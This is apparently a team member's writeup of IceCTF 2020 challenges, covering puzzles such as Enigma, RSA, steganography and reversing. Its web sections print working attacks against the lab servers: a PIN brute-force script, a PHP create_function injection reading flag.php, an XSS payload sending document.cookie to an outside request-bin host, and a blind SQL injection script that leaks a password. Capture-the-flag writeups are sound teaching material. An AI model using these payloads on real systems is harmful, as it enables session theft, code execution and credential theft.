Posts IceCTF 2020 Writeup
Post
Cancel

IceCTF 2020 Writeup

The Icelandic Hacking Competition - pwnLANdir$ Writeups. Placed 27/150 Teams

Introduction

I played on the team pwnLANdir$. This post will contain writeups for the challenges that I solved.

teambreakdown

Hello_World (Misc)

The flag is given in the challenge description.

IceCTF{hello_world}

Discord Secrets (Misc)

The flag is located in the topic section of the general channel on the competition discord server.

discordsecerets

IceCTF{join_the_party}

Pin (Web)

You are late again, and just can’t remember the PIN code to the locker that has the secret Novichok stuff you need for work. What do you do?

We are given a website where we can enter a pin:

pin1

After entering a pin, we can see that the response time is returned.

Looking at the source code, we see a file pin.js.

Here is the interesting part of the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
  handleSubmit(e) {
    // YV
    e.preventDefault();
    const digit = e.target.innerHTML;
    const newEntered = this.state.entered + digit;

    this.setState(state => ({ placedwords: state.placedwords + 1, entered: newEntered, time: null }));

    console.log('entered: ' + newEntered);

    if (newEntered.length >= 4) {
       fetch ('/login/'+newEntered)
       .then(results => {
       		return results.json();
       }).then((data) => {
       		//let time = data.get('time');
		this.setState({ response: data, time: data.time, flag: data.flag });
		//console.log('woot');
		console.log(this.state.response);
		console.log(this.state.time);
		console.log(this.state.flag);
		if (data.correct == true) {
		    console.log('flag is ' + data.flag);
		    //window.sendMessage({event: "flag", flag: data.flag });
		}
       }).catch (err => { console.log(err);});
    }
  }
}

We can see that whenever we input a pin, it is sent to /login/pin and json data is returned. This data contains whether the flag is correct, the flag if correct, and the time it took to check the pin.

From here, there are two different solutions.

Solution 1 - Brute Force

Since we can easily access the endpoint, we can easily write a script to check each and every pin (0000-9999) to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#http://www.misc-pin.vuln.icec.tf/login/2222
import requests

url = "http://www.misc-pin.vuln.icec.tf/login/"
num = 1

for i in range(0, 10000):
	url = url + str(i).zfill(4)
	r=requests.get(url)
	data = r.json()
	if data["correct"]:
		print(r.text)
		exit(1)
	else:
		print("Pin " + str(i).zfill(4) + " " + str(data['time']))
	num+=1
	print(r.text)

Using this, we can easily find the pin to be 1729.

1
2
3
http://www.misc-pin.vuln.icec.tf/login/1729

{"correct":true,"flag":"IceCTF{t1mIng_r3al1y_is_everyth1ng_isNt_it}","time":1432}

IceCTF{t1mIng_r3al1y_is_everyth1ng_isNt_it}

Method 2 - Timing

Whenever a pin is entered, we can see the response time. Whenever the first number was 1, I noticed the response takes longer (1200 compared to 1100). Whenever the second number is 7, the response time is 1300. Using this logic, I found the pin to be 1729.

pinsolution

IceCTF{t1mIng_r3al1y_is_everyth1ng_isNt_it}

Cov

Can you find anything odd about this image?

I opened the image with stegsolve.jar and scrolled through the different available planes. One of them looked like a QR Code:

qrcode

I scanned this with my phone and got the flag.

IceCTF{iwashedmyhandssomuchthisyearmyexamnotesfrom2007resurfaced}

My Hometown

I love my hometown, why hide it?

Starting off, we are given an image that looks like a movie cover. I reverse image searched it and that it corresponded to the comedy Eurovision Song Contest: The Story of Fire Saga.

From the search results from the reverse image search, I could see several articles mentioning that the comedy was filmed in Husavik, or has something to do with Husavik. As the image is a jpg file, I was able to use the tool steghide to extract data from the image with the password Husavik.

1
steghide extract -sf fs.jpg

Doing this and entering Husavik as the password, we are given the file secret.txt. Here are the contents:

1
2
3
4
n = 147767851294746620911810388038107728286037238915263678277473972113895902805449170503702649265216615588582242631818941986820754345835910513454492874669403644985033217666215892611622964797736512917384094418165479541796699940155391259232322549057354995706147434748297162590026274856168980580303832087722706212591
c = pow(bytes_to_long(m),3,n)
print(c)
#c = 748581664569261393653185381818017922717194231102617050589231695775701708792363247054972885709293669476065709136086780761429082534333192111209529254996467657486910468154090043100616141793324960308559815737581366862445109973777659037057000L

!!! Fun. It looks like we need to find m, and to do so we would have to reverse the function pow(a, b, c). Sounds simple enough? Except that the third parameter c is mod, which is not reversable.

I found this stackoverflow thread which mentioned that reversing this is similar to an RSA problem. Following the logic laid out in the post, I was able to convert the data we have to the following numbers:

1
2
3
n = 147767851294746620911810388038107728286037238915263678277473972113895902805449170503702649265216615588582242631818941986820754345835910513454492874669403644985033217666215892611622964797736512917384094418165479541796699940155391259232322549057354995706147434748297162590026274856168980580303832087722706212591
e = 3
c = 748581664569261393653185381818017922717194231102617050589231695775701708792363247054972885709293669476065709136086780761429082534333192111209529254996467657486910468154090043100616141793324960308559815737581366862445109973777659037057000

And now we have the form of a classic RSA problem. The exponent e is really small, so it is vulnerable to a small exponent attack.

I was able to take the following steps to solve for the plaintext m. After that, I run long_to_bytes to reverse the function in the code above.

1
![bigbrainshit](https://i.imgur.com/buG0I20.png)

We are given a base64 string which decodes into coordinates.

1
64.0334627,-21.9000902

I was stuck with what to do at this point as they point to a town in Iceland. After asking the organizers, the flag is physically at those coordinates. Since I do not live anywhere near Iceland (and neither do several of the CTF players) we were given the option to submit a festive photo of the team in exchange for the flag.

IceCTF{hometown_holiday_photo_op_special}

Romans

Can you decipher this ancient scripture?

Simple Ceaser Cipher solved using dcode.fr.

Here is the raw data:

Wh wg ibybckb vck sttsqhwjs hvs Qosgof qwdvsf kog oh hvs hwas, pih wh wg zwyszm hc vojs pssb fsogcbopzm gsqifs, bch zsogh psqoigs acgh ct Qosgof’g sbsawsg kcizr vojs pssb wzzwhsfohs obr chvsfg kcizr vojs oggiasr hvoh hvs asggousg ksfs kfwhhsb wb ob ibybckb tcfswub zobuious. WqsQHT{mci_hvciuvh_wh_kcizr_ps_fch13}

Run it through the website linked:

It is unknown how effective the Caesar cipher was at the time, but it is likely to have been reasonably secure, not least because most of Caesar’s enemies would have been illiterate and others would have assumed that the messages were written in an unknown foreign language. IceCTF{you_thought_it_would_be_rot13}

IceCTF{you_thought_it_would_be_rot13}

Wehrmacht

We picked up this message on our really old equipment. Must have been a while in transit…

stecker settings AQ and BJ and rotors I, II, III from the whermacht set. The ringstellungs are A, B, and C respectively.

After googling the words in this description, it is clear that this is an enigma machine challenge.

We are given the ciphertext, type of machine, rotors to mount (Walzenlage), initial position of rotor (Grundstellung), and the Plug board configuration (Steckerverbindungen).

We need to find the initial position of rotor (Grundstellung) and the reflector (Umkehrwalze) in order to decode the ciphertext. There are only two possible reflectors for the parameters given (B and C) but several different initial positions, so I decided to brute force it with python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys
from enigma.machine import EnigmaMachine

text = "MILFIRQKFRLQINVOOXQKNWRSQJOOLKEQDPIUYGUMLQPUAXEZIQAVHIFYLGQVGOTMLHBKZZELWELNRBACSWPRSXXBOVRGQZAKNZCMPGYGWBYBWKZBUTBQTXXBUCUCMRVIHQUJFYOQIMWJGKNMVLZPIDTBKXFRKFNVVRVFGGMVIWBXOGAXKEGQUDFUHVADFHYTQKWBMWQOLWAYWBLBPUYCIEGBESAFRXYSXXJRXSRUKMMUSLLPVLACHAXQPVNIQZFSLTYAKVHOTJLYKJMHNGVCTLLVISIUHEMXLNSKDUXPIJIBHFZYXBPANIBUEUAYEBXKHHAFYAVLZVEJQUCXNHVXVNKZATDLHQRBYXYKZXFLTGDBPHLADWRAMCFKVZHRTJBGDDSUILLVGQTYLOHPGQSMQXOHYIJGNPLJJZOLQODFRKAEXTKKJRZUTAKKQGJILTODZHVDEGLWYXEBVAMKCECWYPMWQWZZMKCKRVBDLUOMNWJUDTJXGMCKNUBQCQDRNMGMKXAHOUKNLYWMJPBMDWFDHAFAQZHBTGDKFCGNYOJAONXXMKXOASKCXCOWIZKHWCICWMASAPIQLLJMXWNWJIAZAVNUGDSKPTZJPAWEWWUQEDCJSEXXOJDUWWUBSNWWOIVSFNKFSVPEZHJAIDQGMATMSNDUGUCTDEAHKLELNQBCYHYZAXLNWYDTOUYQCOQHVGRXWXFBJZLORZJZLBTYSFXGYVYKFYDCTVIBOUKDTQBJPTIPYGJGINJVCAXOEQYFDJCPDTESZHWTKJYBOGBHIPDNQVLHWJQERQGLHIPKRYAZJMQHZSEZHJNKEMPEZSXGJJLFXCHXIRGIBSOOCMDONRWSBGZWYCTFBEZYGIFKHFKUKQPGRXDLYHKGENIBATOKHKQDOFJKZFLIYCMJSE"

def brute_ring_settings(ciphertext):
    for a in range(1, 26):
        for b in range(1, 26):
            for c in range(1, 26):
                machine = EnigmaMachine.from_key_sheet(
                   rotors='I II III',
                   reflector='B',
                   ring_settings=[a, b, c],
                   plugboard_settings='AQ BJ')
                plaintext = machine.process_text(ciphertext)
                if "ICECTF" in plaintext:
                    print('[+] Ring settings: {}, {}, {}'.format(a, b, c))
                    print(plaintext)
    return -1, -1, -1

a, b, c = brute_ring_settings(text)
print('Ring settings: {}, {}, {}'.format(a, b, c))

I ran the script with the reflector C and got no output. I then ran the script with the reflector B and got the following output:

1
2
[+] Ring settings: 18, 25, 24
ICECTFTURINGMACHIQIEUHEPARTICULARORDERWEHAVZXKDRPXXYJFNMDVOWCRDRCKCPFFQRNOFVQUUVDECIGLULRKLTSTTOKJUSSWHENTHEKEYQISDEPRESSKBSWDSUPPOSINGTHATCISCONNEBWTZTOCTHROUGHTHEWHEELSXTHVJHBYOUTLETFORTHEPOSITIVEOUNOFBATTERYISTHROUGHTHEQKEMZJBHENCETOCANDTHENTHROUGHUWYVBULBXTHERESULTISTHATTHVPMLLBLIGHTSXMOREGENERALLYDFVBNSAYIFTWOCONTACTSCZZDOZXIKEINTRITTSWALZARECONNECCAZSHROUGHTHEWHEELSTHENTHEUQFKLTOFENCIPHERINGTHELETTXDBISOCIATEDWITHCISTHELETTXMMGSOCIATEDWITHDXNOTICETHNDURPISTHERESULTOFENCIPHERQXEHZZTHENGISTHERESULTOFENQGHFERINGPATTHESAMEPLACEZZRQSOTHATTHERESULTOFENCIPHETOZTGCANNEVERBEGXONTHEWHEEMFQSERINGSORTYRESCARRYINGAKWJIBETSZZANDROTATABLEWITHBQKEECTTOTHERESTOFTHEWHEELQWWJABOUTTHISUNDERTURNOVEREQMBBVFDLGPCEIDIOXYIGVLYLNCCZIIZEFENEUOJXLNBKNJCPOYTLUAMCNTHEUXKXWXANDTHEEXWXIUFFHEPRESCRIBEDORDERXTHEWAHETCTTHECURRENTMIGHTFLOWFRNCKKEEXWXTHROUGHTHEWHEELSAURTGCKISSHOWNBELOWXVERYNICMCNZKXTHECODEISICECTFTURINQNGNHINEX

It’s like… sorta correct. Looking at the end: THECODEISICECTFTURINQNGNHINEX

After guessing a lot, I was able to guess the correct flag.

IceCTF{turingmachine}

babyre

After opening the binary in Ghidra, we can see one interesting part:

xormekekw

Looks like the string there is run through an xor with the key of 0x17. Using cyberchef, I am easily able to get the flag.

IceCTF{e4zy_p33zy_23542}

Creat

Our friend decided to learn programming as his quarantine project! Sadly, he chose to learn PHP, and doesn’t believe in the security vulnerabilities. Help us prove him wrong!

We are given the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

include "flag.php";

if (isset ($_POST['c']) && !empty ($_POST['c'])) {
    $fun = create_function('$flag', $_POST['c']);
        //$fun();
} else {
    highlight_file(__FILE__);
}
?>

the create_function part is vulnerable. Whatever we put in it is basically run through eval. We can inject something in there to end the current function’s body, grab the flag, and then open another function body to prevent syntax errors. Here is what the final request looks like:

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: www.web-creat.vuln.icec.tf
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
c=}; echo file_get_contents('./flag.php'); {

Here is the response:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Tue, 29 Dec 2020 20:50:39 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Via: 1.1 google
Connection: close
Content-Length: 133
<?php
$flag = "IceCTF{Code_injection_in_php_because_why_n0t}";
// Remove the deprecation error
error_reporting(E_ALL ^ E_DEPRECATED);

IceCTF{Code_injection_in_php_because_why_n0t}

Santa’s Letters

Santa wanted to receive letters as usual this year, but in a covid-friendly way, so he built a website! Be nice!

We are given a website to submit letters to Santa. Since “Santa” will view each of the notes, we can grab Santa’s cookie using an XSS attack. We do this by putting javascript code to send a request to a server along with his cookie. Here is the payload:

1
2
3
<script>
var xhr=new XMLHttpRequest(); xhr.open('GET', 'https://enh7fwgyjeyaa.x.pipedream.net/'.concat(document.cookie), true);xhr.send();
</script>

Looking at my request bin, I am given a request with the flag (the flag was the cookie).

IceCTF{I_h0pe_yoU_h4venT_b33n_n4ugHty_th1s_y3aR}

Thieving Lads!

The Yule Lads are back at it again and have been stealing flags! They’ve hidden them behind an authenticated service, which they’re 100% sure is fully secured. Can you prove them wrong and get our precious flags back?

We are given a webpage with a username field and a password field. Putting the character ' into the username yeilds an “SQL Error”. This means the form is vulnerable to SQL Injection.

Using the following injnection:

1
' or substr(username,1,1) = 'a' or '

I am able to get the error Invalid Password. Unfortunately, the password field is not vulnerable to injection. However, we can use Blind SQLi tactics to leak the password using the username field.

We are able to use substring to try and brute force each character of the password. However, using just substring does not work as it is case insensitive while the login form requires a case sensitive password. Because of this, I get the ascii value using unicode and try to find the first character of the password. Here is a sample username injection with this logic:

1
' or substr(username,1,1) = 'a' and unicode(substr(password,1,1)) = 90 or '

If the password as position 1 is ascii value 90, then the username will be found at the page will show Invalid Password. If not, then we will get something saying the username is not found as we are using AND with the injection.

I wrote a script using this logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string
import time

#' or substr(username,1,1)) = 'a' or '
ans=""
found = False
for i in range(1, 25):
        for num in range(0,150):
                username = f"' or substr(username,1,1) = 'a' and unicode(substr(password,{i},1)) = {num} or '"
                datafrag = f"' or substr(password,1,1) = '{num}' or '"
                #print(datafrag)
                #exit(1)
                data = {'username': username, 'password': "whocares"}
                url = "http://www.web-theft.vuln.icec.tf/"
                r=requests.post(url, data=data)
                if "Invalid password!" in r.text:
                        ans+=chr(num)
                        print("New Hit!")
                        print(ans)
                #print(r.text)
                #time.sleep(1)

And I was able to leak the password: idwicpmYeRfkOUkGIG8

Logging in with the following credentials:

1
2
username: ' or substr(username,1,1) = 'a' or '
password: idwicpmYeRfkOUkGIG8

gives us the flag.

IceCTF{aT_l3aSt_y0u_d1dNt_g3t_a_p0tat0}

This post is licensed under CC BY 4.0